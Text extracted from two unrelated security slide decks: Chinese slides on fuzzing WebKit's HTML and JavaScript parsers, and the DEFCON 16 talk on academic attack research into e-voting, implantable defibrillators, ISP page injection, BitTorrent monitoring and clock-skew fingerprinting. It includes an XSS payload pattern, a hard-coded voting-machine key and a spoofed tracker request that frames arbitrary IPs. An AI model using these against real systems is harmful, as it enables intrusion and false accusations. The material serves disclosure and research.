Frame Sub Frame HTML parser • HTMLàHTMLToken (标签提取) – https://html.spec.whatwg.org/ – 根据标签的开闭合字符逐个提取Token HTMLDocumentParser::pumpTokenizerLoop HTMLTokenizer::processToken – 类似字符串整理,表现形式为vector对象链表。 HTML parser • processToken HTML parser • HTMLTokenàDOMTree – 根据前面提取信息进行逐个解析 HTMLTreeBuilder::processToken • HTMLTokenàDOM Node WebCore::HTMLConstructionSite 评估 • HTML parser – 过程单一 – 解释性操作 – 对HTML来说重要的仅仅就是标签的开、闭合。 HTML Parser L JavaScript Parser • JavaScript – ./source/JavaScriptCore/parser – JavaScript parser入口 JavaScript Parser • 工作流 Parser.cpp 解析代码 ASTBuilder.h makeMultNode makeDivNode … Node.h … TreeBuilder->vector(AST tree) VM,SourceCode… JavaScript Parser • 解析流程 词语提取 词语检查(lexer) 词法解析(parser) 词法检测(Syntax) SourceElement ASTTree Stack 同时进行,也是 最复杂的地方 Parser Class JavaScript Parser • 对象地图 ASTBuilder Parser Nodes.h Node ExpressionNode ArrayNode VoidNode NewExprNod e …… StatementNode ForNode IfElseNode …… JavaScript Parser • 数据来源 代码source.provider()返回Class SourceProvider对象。 而source.provider()->source()继续返回一个StringView对象。 • 数据来源 JavaScript Parser StringView是webkit封装的一个字符串类,其构造函数: 此时能看到<script>标签中所输入的代码: JavaScript Parser 前面的SourceCode对象首先和Parser::m_lexer建立联系,通过: 如果原始网页js代码为下面的例子: 按JS Parser解析逻辑会逐字拆分: • Js Parser解析详情 m_lexer->setCode(source, &m_parserArena); <script> []; </script> \n [ ] ; \n Next() JavaScript Parser • Js Parser解析详情 Next函数让JS Parser知道了下一步处理的位置和代码等信息: JavaScript Parser • Js Parser解析详情 每个字符的属性(type)定义: • Js Parser解析详情 JavaScript Parser lex函数最终把每个词语提取成JSTokenType: JavaScript Parser • Js Parser解析详情 最终的JSTokenType就是parser逻辑主体所处理的内容: 对于JS代码“[];”来讲,在预处理代码为JSTokenType后,其最主体的处理函数 parseArrayLiteral : JavaScript Parser • Js Parser解析详情 评估 • Javascript Parser ü 逻辑较复杂。 ü 对象关系复杂。 ü 可编程语言JavaScript,可变因素很多。 ü 初步分析,已经能直观建立用户输入与代码逻辑的联系。 JavaScript Parser J Js Parser Parser.cpp <Script> eg: parseArrayLiteral函数逻辑的全代码覆盖: while (match(COMMA)) { …… if (match(CLOSEBRACKET)) { …… if (UNLIKELY(match(DOTDOTDOT))) { ……. while (match(COMMA)) { 评估 评估 [] […] [,1,,1,,] [,,,,] [1,1,1] 数据 漏洞挖掘平台 05 数据输入 + (E=mc2) 其他搜集的数据 数据输入 • 以JS parser模块为例 – {0, void :*++=++%a14074,17957, void swv>><<=l%!uphs-=h213, this t, const r,3334} – yield !t+?=&& V={=> – https://bugs.webkit.org/show_bugs?id=147538 • 其他类型数据 挖掘平台 • AFL is Everything! But …… • 样本的恢复,提取(代码性质样本) • Js代码的随机规则 • 编译感知 • 覆盖率工具,反馈 挖掘平台 + (E=mc2) 展示 06 崩溃 1 2 结果 2 weeks 10+Crashes 3 moudles 数据+测试+修改 Parser+Runtime+API Some are interesting To Do Soon 07 更多的自动化 无源码项目? 计划 Thank you! Question? Thank you! Thank you!
pdf
Hacking in the Name of Science Tadayoshi (Yoshi) Kohno (University of Washington) Jon Callas (PGP Corporation) Alexei Czeskis (University of Washington) Daniel Halperin (University of Washington) Karl Koscher (University of Washington) Michael Piatek (University of Washington) DEFCON 16 - August 8, 2008 Who We Are ✦ Researchers at the University of Washington ✦ Tadayoshi Kohno, http://www.cs.washington.edu/homes/yoshi/ ✦ Alexei Czeskis,http://www.cs.washington.edu/homes/aczeskis/ ✦ Daniel Halperin, http://www.cs.washington.edu/homes/ dhalperi/ ✦ Karl Koscher, http://www.cs.washington.edu/homes/supersat/ ✦ Mike Piatek, http://www.cs.washington.edu/homes/piatek/ ✦ Co-founder of PGP Corporation ✦ Jon Callas, jon@callas.org Focus for Today Explore “hacking” in the academic community For concreteness, we base this talk on our own research (often in collaboration with others) We call this line of work many things, like “attacks research” or “measurements,” but never “hacking” About Yoshi ✦ Others will introduce themselves when they first start ✦ Ph.D. from University of California San Diego ✦ Lots of crypto / mathy stuff ✦ But also lots of work on analyzing real systems -- and that’s the focus of today’s talk ✦ Past industry work: Bruce Schneier’s old company, and Cigital ✦ Now: Faculty at the University of Washington Previews for Today First public analysis of Diebold’s AccuVote-TS e-voting source code (2003, Kohno, Stubblefield, Rubin, Wallach) Previews for Today First public analysis of a common wireless implantable medical device (2008, Halperin, Heydt-Benjamin, Ransford, Clark, Defend, Morgan, Fu, Kohno, Maisel) Previews for Today Measurement study of in-flight changes to web pages by ISPs and others (2008, Reis, Gribble, Kohno, Weaver) ISP Firewall Previews for Today Measurement study of DMCA notices in BitTorrent (2008, Piatek, Krishnamurthy, Kohno) Previews for Today Fingerprinting physical machines based on information leakage and clock skew (2005,Kohno, Broido, and Claffy) Previews for Today Information leakage and encrypted streaming multimedia: the case of the Slingbox Pro (2007, Saponas, Lester, Hartung, Agarwal, and Kohno) Previews for Today Information leakage and deniable filesystems like TrueCrypt (2008, Czeskis, St. Hilaire, Koscher, Gribble, Kohno, and Schneier) Contents of a “hidden” file Previews for Today Exploring privacy in a future world with ubiquitous surveillance (the UW RFID Ecosystem team) Previews for Today Developing the “Security Mindset” in a University of Washington undergraduate computer security course Previews for Today Why is this science and not just hacking? Previews for Today The Industry Perspective Previews for Today Your Turn! Let’s discuss! What can academics learn from you? What do you think we could do better? What would you like us to look at next? What shouldn’t we be doing? Who/What/When/Where/Why/How <you fill in>? We Build Too! We build secure systems too! But the focus of this talk is on “academic security analyses,” so we omit many projects Visit our websites if you are interested! Part 1: “Our Hacks” Background ✦ The academic model ✦ We experiment with technologies ✦ Analyze existing ones ✦ Build new ones ✦ But we also need to publish our results in peer-reviewed venues (conferences, journals) ✦ As scientists, we seek to learn new things about and improve our world, and our approaches must be rigorous Background ✦ We provide links to our papers in subsequent slides ✦ If you’d like more detailed examples of what an academic paper looks like, please follow these links ✦ We will highlight some critical properties of academic security research Type A: Analyzing Critical Systems Properties of these projects ✦ Focus on critical systems that are important to people and society ✦ Often previously understudied technologies / applications of technologies ✦ At least not studied by the public ✦ Papers must have lessons and/or bigger picture implications -- not just attacks ✦ Academic community generally frowns on papers that only break a system Properties of these projects ✦ Results can have broad-reaching affects, to public policy, legislation, and so on ✦ Papers also often include discussions of possible defenses Analysis of an electronic voting machine Tadayoshi (Yoshi) Kohno (University of Washington) Adam Stubblefield (Johns Hopkins University and ISE) Aviel D. Rubin (Johns Hopkins University and ISE) Dan S. Wallach (Rice University) IEEE Symposium on Security and Privacy, 2004 (Previously JHU ISI Technical Report, 2003) http://www.cs.washington.edu/homes/yoshi/papers/eVoting/vote.pdf Cornerstone of Democracy ✦ Voting is cornerstone of our democracy ✦ Allows us to influence ✦ Crime prevention ✦ Healthcare ✦ Education ✦ Foreign policy... ✦ U.S. citizens have fought hard for their right to vote Presidential Election, 2000 si.edu Palm Beach County, FL The FUTURE! Case of the Diebold FTP Site ✦ Pre-2003 ✦ Some computer scientists concerned about e-voting security ✦ But impossible for public to analyze ✦ 2003 ✦ Diebold source code posted on anonymous ftp site ✦ Bev Harris found in January 2003 ✦ CVS repository from 10/2000 to 4/2002 ✦ First opportunity to publicly analyze source code of real e-voting machine New Opportunity ✦ New opportunity to analyze critical software ✦ We analyzed Diebold’s AccuVote-TS version 4.3.1 source code. ✦ In many ways, computer scientists “worst nightmares” were true Step 1: Determine How System Works System Overview Pre-Election Ballot definition file Pre-election: Poll workers load “ballot definition files” on voting machine. Poll worker Active Voting Voter token Voter token Interactively vote Ballot definition file Active voting: Voters obtain single-use tokens from poll workers. Voters use tokens to active machines and vote. Voter Poll worker Active Voting Encrypted votes Voter token Voter token Interactively vote Ballot definition file Active voting: Votes encrypted and stored. Voter token canceled. Voter Poll worker Post-Election Voter token Tabulator Voter token Interactively vote Ballot definition file Post-election: Stored votes transported to tabulation center. Encrypted votes Recorded votes Voter Poll worker Step 2: Analyze Security and Privacy Under Different Threat Models Problem: An adversary (e.g., a poll worker, software developer, or company representative) able to control the software or the underlying hardware could do whatever he or she wanted. What Software is Running? Bad file Tabulator Voter token Interactively vote Ballot definition file Encrypted votes Problem: Ballot definition files are not authenticated. Example attack: A malicious poll worker could modify ballot definition files so that votes cast for “Mickey Mouse” are recorded for “Donald Duck.” Recorded votes Voter Poll worker Voter token Interactively vote Ballot definition file Problem: Smartcards can perform cryptographic operations. But there is no authentication from voter token to terminal. Example attack: A regular voter could make his or her own voter token and vote multiple times. Tabulator Encrypted votes Recorded votes Voter Poll worker Ballot definition file Tabulator Encrypted votes Problem: Encryption key (“F2654hD4”) hard-coded into the software since (at least) 1998. Votes stored in the order cast. Example attack: A poll worker could determine how voters vote. Recorded votes Voter Voter token Interactively vote Voter Poll worker Ballot definition file Tabulator Encrypted votes Problem: When votes transmitted to tabulator over the Internet or a dialup connection, they are decrypted first; the cleartext results are sent the the tabulator. Example attack: A sophisticated outsider could determine how votes vote. Voter token Interactively vote Recorded votes Voter Poll worker /* This is a bit of a hack for now. */ /* the BOOL beeped flag is a hack so we don't beep twice. This is really a result of the key handling being gorped. */ /* the way we deal with audio here is a gross hack. */ /* need to work on exception *caused by audio*. I think they will currently result in double-fault.*/ AudioPlayer.cpp WriteIn.cpp BallotSelDlg.cpp BallotDlg.cpp Software Development Example Reactions “The correctness of the software has been proven through an extensive testing process.” “These machines have never been attacked in the past, so we know that they won’t be attacked in the future.” “Not having security mechanisms built into the software is OK since election procedures would detect any malicious activity.” “The code we analyzed was old and that our results no longer apply.” “School Board member Rita S. Thompson (R), who lost a close race to retain her at-large seat, said yesterday that the new computers might have taken votes from her. … County officials tested one of the machines in question yesterday and discovered that it seemed to subtract a vote for Thompson in about ‘one out of a hundred tries.’” – David Cho, The Washington Post, November 6, 2003. [WINvote] “Six electronic voting machines used in two North Carolina counties lost 436 ballots cast in early voting for the 2002 general election because of a software problem.’’ – Kim Zetter, Wired News, February 9, 2003. [iVotronic] News Clips (Other Machines) “[A]n e-voting glitch in Boone County [Indiana] showed that 144,000 votes had been cast – an impossibility since the county had only 19,000 total registered voters, according to The Indianapolis Star. A corrected count by the clerk showed just 5,352 ballots were cast. ‘I about had a heart attack,’ County Clerk Lisa Garofolo told the newspaper about the problem, which she attributed to a ‘glitch’ in the software provided by MicroVote.” – Cynthia L. Webb, The Washington Post, November 13, 2003. News Clips (Other Machines) Step 3: Follow Through Toward Better E-Voting ✦ Identify, study, and address challenges to designing better e-voting machines ✦ Usability ✦ Cost ✦ What does “secure” mean? ✦ Active research area ✦ $5M NSF center for voting research ✦ New EVT workshop ✦ Lots of papers ✦ Working with other communities (not just computer scientists) ✦ Our report (July 2003) ✦ SAIC report (September 2003) ✦ “The system, as implemented in policy, procedure, and technology, is at high risk of compromise.” ✦ RABA report (January 2004) ✦ “The State of Maryland election system (comprising technical, operation, and procedural components), as configured at the time of this report, contains considerable security risks that can cause moderate to severe disruption in an election.” ✦ RABA had access to Diebold machines and implemented some of our attacks. ✦ More since then Example Subsequent Analyses New Paper Requirements http://www.electionline.org/Default.aspx?tabid=290 Pacemaker and Implantable Cardiac Defibrillators: Software Radio Attacks and Zero-Power Defense Daniel Halperin (University of Washington) Thomas S. Heydt-Benjamin (UMass Amherst) Benjamin Ransford (UMass Amherst) Shane S. Clark (UMass Amherst) Benessa Defend (UMass Amherst) Will Morgan (UMass Amherst) Kevin Fu (UMass Amherst) Tadayoshi (Yoshi) Kohno (University of Washington) William H. Maisel (BIDMC and Harvard Medical School) IEEE Symposium on Security and Privacy, 2008 http://www.secure-medicine.org/icd-study/icd-study.pdf About Dan ✦ Ph.D. student at University of Washington ✦ Systems, networks, and security ✦ Graduated from Harvey Mudd College ✦ Math and Comp Sci background ✦ Free time: Lock picking, Urban spelunking ✦ Interested in {designing,building,analyzing,breaking} practical systems in all of these domains Implantable Medical Devices (aka IMDs) ✦ Common - 2.6 million pacemakers implanted 1990-2002 ✦ Computers with sophisticated functionality ✦ Perform vital, lifesaving functions in people adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ Neurostimulator Drug pump Prosthetic limb Pharmacy on a chip Photos: Medtronic, Hearing Loss Assoc. of WA, St. Jude Medical, Otto Bock Cardiac device adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ Why would academics study IMD security? ✦ Find yet another vulnerable product.... ✦ So what? ✦ If you just add encryption, we can all go home... Securing IMDs is hard! adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ Cannot fail closed ✦ Closed: No credentials, no admission! ✦ But, medical personnel need emergency access. ✦ Basic tension between patient safety + medical efficacy and security and privacy. ✦ A challenge in this space is fail open design. adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ So what did we do? ✦ Studied a real implantable device ✦ Found attacks with software radio ✦ Built prototypes looking towards potential defenses Implantable cardiac defibrillator adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ Analysis of a Real Device Implantable Cardiac Defibrillators Heart ✦ Monitors heart waveforms ✦ Like a pacemaker, sets heart rhythm ✦ Also: delivers a large shock to resync heart adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ Defensive Directions Medical Devices Need Continued Attention! adapted from Ben Ransford, UMass Amherst http://www.cs.umass.edu/~ransford/ Type B: Measuring What’s Happening in Today’s World Properties of these projects ✦ Many aspects of today’s world are unknown ✦ How do networks really work? What do ISPs really do? ✦ Academic researchers try to shed light on the answers to these questions ✦ Many follow-on possibilities, including ✦ Improve artifacts of network or systems (e.g., make them faster or more secure) ✦ Protect against these networks or systems Properties of these projects ✦ Results can also have broad affects, to public policy, legislation, and so on ✦ Measurement papers generally also include discussions ✦ Lessons learned from the measurements ✦ Predictions for how systems will evolve ✦ Possible improvements to the systems ✦ Possible defenses against the systems Detecting In-Flight Page Changes with Web Tripwires Charlie Reis (University of Washington) Steven D. Gribble (University of Washington) Tadayoshi (Yoshi) Kohno (University of Washington) Nicholas C. Weaver (International Computer Science Institute) USENIX Symposium on Networked Systems Design and Implementation, 2008 http://www.cs.washington.edu/research/security/web-tripwire/nsdi-2008.pdf ISP-Injected Ads ✦ Reports of web page modifications ✦ ISPs injecting ads into web pages ✦ Is this really happening? How often? 64 ISP Server Browser Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Scientifically study and measure the phenomenon Detecting Page Changes ✦ Can detect with JavaScript 66 ISP ✦ Built a Web Tripwire: ✦ Runs in client’s browser ✦ Finds most changes to HTML ✦ Reports to user & server Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ How it Works ✦ Fetch and render original page ✦ Fetch JavaScript code in background ✦ Second, encoded copy of page ✦ Compare against page’s source code 67 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Attracting Visitors ✦ Wanted view of many clients on many networks ✦ Posted to Slashdot, Digg, etc. ✦ Visits from over 50,000 unique IP addresses 68 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Analyze the Results Many Users Affected ✦ 657 clients saw changes (1.3%) ✦ Many made by client software ✦ Some made by agents in network Server ISP Client Firewall 70 ✦ Diverse incentives ✦ Often concerning for publishers Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Many Types of Changes Server ISP Client Firewall 71 Internet Service Providers Enterprise Firewalls Client Proxies Malware Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Changes by ISPs ✦ Injected Advertisements (2.4%) ✦ NebuAd, MetroFi, LokBox, ... Server ISP Client Firewall 72 Revenue for ISP; annoy users Growing Trend? PerfTech, Front Porch, Adzilla, Phorm ✦ Compression (4.6%) Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Changes by Enterprises Server ISP Client Firewall 73 ✦ Security Checking Scripts (2.3%) ✦ BlueCoat Web Filter Safer for clients; reduce risk Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Changes by Client Proxies Server ISP Client Firewall 74 ✦ Popup & Ad Blockers (71%) ✦ Zone Alarm, Ad Muncher, ... Less annoying; impact revenue Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Changes by Malware Server ISP Client Firewall 75 ✦ Adware (1 client) Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Changes by Malware Server ISP Client Firewall 76 ✦ Adware (1 client) ✦ Worms (2 clients) Helps malware author; risk to user ARP Poisoning Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Unanticipated Impact ✦ Some changes inadvertently broke pages ✦ JavaScript errors ✦ Interfered with MySpace / forum posts 77 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Introduced Vulnerabilities ✦ XSS allows script injection ✦ Usually fixed at server ✦ Some proxies made otherwise safe pages vulnerable ✦ Ad Muncher, Proxomitron ✦ Affected most HTTP pages ✦ Like a root exploit Server Client Proxy 78 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ XSS via Proxy ✦ Proxy injected script code ✦ Page URL was included in code ✦ Attacker could place script code in a valid URL ✦ Users who follow the URL run injected code http://usbank.com/?</script><script>attackCode... 79 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Example Exploit ✦ Redirect user to Google ✦ Inject script code into search form ✦ Append exploit code to all outgoing links 80 www.usenix.org/events/sec07/wips.html?</script><script>attackCode... Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Vulnerability Aftermath ✦ Reported vulnerabilities; now fixed ✦ Web tripwires can help find vulnerabilities ✦ Search for URL in page changes 81 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Develop and Study Defenses How to React? ✦ Option 1: Use HTTPS ✦ Encryption prevents in-flight changes ✦ But... costly and rigid ✦ Can’t allow security checks, caching, etc. 83 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Web Tripwires ✦ JavaScript code to detect changes ✦ Easy for publishers to deploy ✦ Configurable toolkit ✦ Web tripwire service ✦ But... not cryptographically secure ✦ Can be robust in practice ✦ Available here: http:// www.cs.washington.edu/research/ security/webtripwires.html 84 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Tradeoffs HTTPS Web Tripwires ✦ Prevents most changes, as well as some useful services ✦ Detects most in-flight changes ✦ Cryptographically robust ✦ Could face an arms race ✦ Obfuscation can challenge adversaries ✦ Expensive: certificates, computation, extra RTTs ✦ Inexpensive to deploy 85 Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Performance Impact ✦ Relative to HTTPS, web tripwires have: ✦ Low latency ✦ High throughput 0 2,000 4,000 Original Web Tripwires HTTPS Latency (ms) Start Latency End Latency 0 100 200 300 Original Web Tripwires HTTPS Throughput (sessions/sec) Slide originally created by Charlie Reis, http://www.cs.washington.edu/homes/creis/ Challenges and Directions for Monitoring P2P File Sharing Networks Michael Piatek (University of Washington) Tadayoshi (Yoshi) Kohno (University of Washington) Arvind Krishnamurthy (University of Washington) http://dmca.cs.washington.edu Why monitor P2P? Copyright infringement: movies, music, software, books, etc. P2P Monitoring Today 1. Crawl P2P networks 2. Identify infringing users 3. Report infringement to ISP Sample complaint XXX has reasonable good faith belief that use of the material in the manner complained of in the attached report is not authorized by YYY, its agents, or the law. The information provided herein is accurate to the best of our knowledge. Therefore, this letter is an official notification to effect removal of the detected infringement listed in the attached report. The attached documentation specifies the exact location of the infringement. to the best of our knowledge. What does this mean? Our work ✦ Goal: Reverse engineer P2P monitoring and copyright enforcement in BitTorrent ✦ Findings: 1. Monitoring is sometimes inconclusive (and can be manipulated) 2. Some monitoring agents are highly distinguishable BitTorrent overview C C joins the system by obtaining a random subset of current peers from a centralized coordinator S Coordinating tracker A B S A B C 1 BitTorrent overview 1 2 3 4 S A B C 1 BitTorrent overview 1 2 3 4 1 1 4 3 2 1 BitTorrent overview S 4 A B C 2 3 4 4 1 B C 3 4 3 1 BitTorrent overview S 1 2 4 A 4 1 1 4 2 3 1 4 2 2 Spoofing requests ✦ Indirect detection treats reports of membership from the tracker as authoritative ✦ Protocol support for proxy servers allows us to frame arbitrary IPs wget 'http://torrentstorage.com/announce.php ?info_hash=%0E%B0c%A4B%24%28%86%9F%3B%D2%CC% BD%0A%D1%A7%BE%83%10v&peer_id=-AZ2504-tUaIhr rpbVcq&port=55746&uploaded=0&downloaded=0&le ft=366039040&event=started&numwant=50&no_pee r_id=1&compact=1&ip=A.B.C.D&key=NfBFoSCo' Spoofing results Host type Complaints Desktop machine (1) 5 IP Printers (3) 9 Wireless AP (1) 4 Framed complaints generated during May, 2008 Avoiding Monitoring ✦ IP blacklists prevent communication with suspected monitoring agents ✦ But, blacklists do not cover some some hosts: ✦ ...that refuse incoming connections ✦ ...that are listed in 10s of swarms per day ✦ ...that are hosted at colocation facilities Lessons & Challenges ✦ Direct monitoring would reduce false positives, but it would also significantly increase overhead. ✦ ISPs should sanity-check complaints, but increasing complaint volume increases costs. ✦ Blacklisting techniques are likely to improve, but direct involvement of ISPs in monitoring is increasing. For monitoring agencies: For ISPs: For users: Type C: Discovering and Exploring New Attack Classes Properties of these projects ✦ Sometimes we discover a new way -- or class of ways -- to attack and existing system ✦ When we do so, we try to deeply study these new attacks. For example ✦ Intensive experiments to help us fully understand the attacks ✦ Explorations of multiple instantiations or generalizations of the attacks ✦ Explore extensions to the attacks ✦ Explore potential defenses Remote Physical Device Fingerprinting Tadayoshi (Yoshi) Kohno (University of Washington) Andre Broido (CAIDA , now Google) kc claffy (CAIDA) IEEE Symposium on Security and Privacy, 2005 http://www.cs.washington.edu/homes/yoshi/papers/PDF/KoBrCl05PDF-lowres.pdf Typical goals ✦ Remotely distinguish between two devices that have the same hardware and software configuration. ✦ Remotely determine whether an IP address corresponds to a virtual host. ✦ Count the number of devices behind a NAT. ✦ Deanonymize anonymized network traces. ✦ Remote operating system fingerprinting. ✦ Usage characteristics. ✦ Compromise the device. ✦ Malware and cookies. •Remote device fingerprinting via information leakage in the TCP and ICMP protocols. Possible tools Discover New Information Leakage Vector (TCP) “The timestamp value to be sent in [each outgoing packet] is to be obtained from a (virtual) clock that we call the timestamp [TSopt] clock. Its values must be at least approximately proportional to real time. ” RFC 1323 defines the TCP Timestamps Option: Information leakage in TCP This is information leakage because different devices may have TSopt clocks that advance at different rates (based on the devices’ TSopt clock skews). Information leakage in TCP A device’s TSopt clock may be different from its system clock. NTP adjustments to a devices system clock may not affect the device’s TSopt clock. Information leakage in TCP Extracting information Let t denote the value of the measurer’s system clock when it recorded the i-th packet. Let C denote the value of the sender’s TSopt clock when it generated the i-th packet. i i Extracting information Assume (for now) that •the t values reflect the true time at which the i-th packet was recorded; •the C values have infinite precision; •there is no network delay; •the sender’s TSopt clock has constant clock skew s; common values for s are between -100 and 100 ppm; •t = C = 0. Then, by the definition of clock skew, C = t + st for all i. i i i i i 1 1 Extracting information Under these assumptions, we learn the sender’s clock skew as follows: For each packet, plot (t , C - t ) . i i i Since, by definition C - t = st , the skew s is the slope between any two points. i i i C - t (in ms) i i t (in seconds) i Artificial data Example ✦ One of UCSD’s undergraduate computing laboratories has 69 Micron 448 MHz PII machines, all running Windows XP SP1. ✦ measurer1 runs Debian 3.0 and synchronizes its system time with NTP. measurer1 is 3 hops away from the undergraduate laboratory. Example 1. From measurer1 and at random intervals between 0 and 5 minutes, open connections to each machine in the lab. 2. Record a trace on measurer1. 3. Create a plot of (t , C - t ) for each machine in the lab. i i i Plot for first machine in the lab (4624 points) Plot for second machine in the lab (4624 points) Plot for third machine in the lab (4624 points) Plot for the remaining 66 machines in the lab t (in hours) C - t (in seconds) i i i Determine Vulnerable Population Obtaining data The TCP Timestamps Option is an option. ✦ Not all packets will have the option enabled. ✦ There are cases when a measurer cannot apply our technique. Resources for measurer Windows 2000 and XP Linux 2.2, 2.4, 2.6 OS X Initiate flows with fingerprintees Yes Yes Yes Only capture packets No Yes Yes Cannot initiate flows, but can modify flows, e.g., an ISP or website Yes Yes Yes A “Yes” means that a measurer can force the system to use the TCP Timestamps Option. Resources for measurer Windows 2000 and XP Linux 2.2, 2.4, 2.6 OS X Initiate flows with fingerprintees Yes Yes Yes Only capture packets No Yes Yes Cannot initiate flows, but can modify flows, e.g., an ISP or website Yes Yes Yes A “Yes” means that a measurer can force the system to use the TCP Timestamps Option. A “Yes” means that a measurer can force the system to use the TCP Timestamps Option. Resources for measurer Windows 2000 and XP Linux 2.2, 2.4, 2.6 OS X Initiate flows with fingerprintees Yes Yes Yes Only capture packets No Yes Yes Cannot initiate flows, but can modify flows, e.g., an ISP or website Yes Yes Yes Resources for measurer Windows 2000 and XP Linux 2.2, 2.4, 2.6 OS X Initiate flows with fingerprintees Yes Yes Yes Only capture packets No Yes Yes Cannot initiate flows, but can modify flows, e.g., an ISP or website Yes Yes Yes A “Yes” means that a measurer can force the system to use the TCP Timestamps Option. A “Yes” means that a measurer can force the system to use the TCP Timestamps Option. Resources for measurer Windows 2000 and XP Linux 2.2, 2.4, 2.6 OS X Initiate flows with fingerprintees Yes Yes Yes Only capture packets No Yes Yes Cannot initiate flows, but can modify flows, e.g., an ISP or website Yes Yes Yes Windows-initiated flows ✦ When a Windows machine initiates a TCP connection, the initial SYN packet will not have the TCP Timestamps Option enabled. ✦ According to RFC 1323, none of the subsequent packets in the flow will contain the TCP Timestamps Option. A “Yes” means that a measurer can force the system to use the TCP Timestamps Option. Resources for measurer Windows 2000 and XP Linux 2.2, 2.4, 2.6 OS X Initiate flows with fingerprintees Yes Yes Yes Only capture packets No Yes Yes Cannot initiate flows, but can modify flows, e.g., an ISP or website Yes Yes Yes A “trick” for the measurer ✦ An active measurer could re-write packets in a Windows-initiated flow so that the Windows machine receives packets containing the TCP Timestamps Option. ✦ The Windows machine will subsequently include the TCP Timestamps Option in its outgoing packets for this flow. A “trick” for the measurer Examples: ✦ An ISP could re-write all outgoing SYN packets so that the re-written packets contain the TCP Timestamps Option. ✦ A website could reply to all SYN packets with SYN/ACK packets containing the TCP Timestamps Option. Advantage to active measurers An active measurer can force a device to send a large number of packets, or send packets over a long duration of time. Explore Generalizations (e.g, ICMP) Information leakage in ICMP ✦ RFC 792 defines ICMP Timestamp Request and Timestamp Reply messages. ✦ If a measurer sends a fingerprintee a Timestamp Request message, some fingerprintees will reply with a Timestamp Reply message containing the fingerprintee’s system time. ✦ A measurer receiving these Timestamp Reply messages could estimate the fingerprintee’s system time clock skew. A “Yes” means that a measurer can use our ICMP-based method to fingerprint a device. Resources for measurer Windows 2000 and XP SP1 Red Hat 9.0 and Debian 3.0 OS X Initiate flows with fingerprintees Yes Yes No Only capture packets No No No Cannot initiate flows, but can modify flows, e.g., an ISP or website No No No A “Yes” means that a measurer can use our ICMP-based method to fingerprint a device. Resources for measurer Windows 2000 and XP SP1 Red Hat 9.0 and Debian 3.0 OS X Initiate flows with fingerprintees Yes Yes No Only capture packets No No No Cannot initiate flows, but can modify flows, e.g., an ISP or website No No No For the remainder of this talk we shall focus on our TCP-based method because: ✦ If a measurer can use our ICMP-based method, then the measurer could also use our TCP-based method. ✦ The results of most of our experiments on our TCP-based method should generalize to our ICMP-based method. Experimentally Study the New Attack Class Machines ✦ laptop is a Dell Latitude laptop with a1.133 GHz PIII processor. We generally experiment with laptop running Red Hat 9.0. ✦ measurer2 is a Dell Precision desktop with a 2GHz P4 processor. measurer2 runs Debian 3.0 and is located within the UCSD CSE Department. measurer2 synchronizes its system time with NTP. Laptop location Date Access technology NAT Skew estimate SDSC (CA) 2004-07-10 Wireless No -58.00 ppm Residential cable (CA) 2004-07-12 Wireless Yes -58.21 ppm Residential cable (CT) 2004-07-26 Wired Yes -58.19 ppm Residential cable (CA) 2004-09-14 Wireless Yes -58.22 ppm Dialup (CA) 2004-10-18 Dialup No -57.57 ppm Library (CA) 2004-10-18 Wireless Yes -57.63 ppm Connect laptop to the Internet from multiple locations. Capture packets at measurer2. Laptop location Date Access technology NAT Skew estimate SDSC (CA) 2004-07-10 Wireless No -58.00 ppm Residential cable (CA) 2004-07-12 Wireless Yes -58.21 ppm Residential cable (CT) 2004-07-26 Wired Yes -58.19 ppm Residential cable (CA) 2004-09-14 Wireless Yes -58.22 ppm Dialup (CA) 2004-10-18 Dialup No -57.57 ppm Library (CA) 2004-10-18 Wireless Yes -57.63 ppm All skew estimates within a fraction of a ppm from each other. Laptop location Date Access technology NAT Skew estimate SDSC (CA) 2004-07-10 Wireless No -58.00 ppm Residential cable (CA) 2004-07-12 Wireless Yes -58.21 ppm Residential cable (CT) 2004-07-26 Wired Yes -58.19 ppm Residential cable (CA) 2004-09-14 Wireless Yes -58.22 ppm Dialup (CA) 2004-10-18 Dialup No -57.57 ppm Library (CA) 2004-10-18 Wireless Yes -57.63 ppm Regardless of laptop’s location. Laptop location Date Access technology NAT Skew estimate SDSC (CA) 2004-07-10 Wireless No -58.00 ppm Residential cable (CA) 2004-07-12 Wireless Yes -58.21 ppm Residential cable (CT) 2004-07-26 Wired Yes -58.19 ppm Residential cable (CA) 2004-09-14 Wireless Yes -58.22 ppm Dialup (CA) 2004-10-18 Dialup No -57.57 ppm Library (CA) 2004-10-18 Wireless Yes -57.63 ppm Over the course of three months. Laptop location Date Access technology NAT Skew estimate SDSC (CA) 2004-07-10 Wireless No -58.00 ppm Residential cable (CA) 2004-07-12 Wireless Yes -58.21 ppm Residential cable (CT) 2004-07-26 Wired Yes -58.19 ppm Residential cable (CA) 2004-09-14 Wireless Yes -58.22 ppm Dialup (CA) 2004-10-18 Dialup No -57.57 ppm Library (CA) 2004-10-18 Wireless Yes -57.63 ppm When laptop was connected to the Internet via different access technologies. Laptop location Date Access technology NAT Skew estimate SDSC (CA) 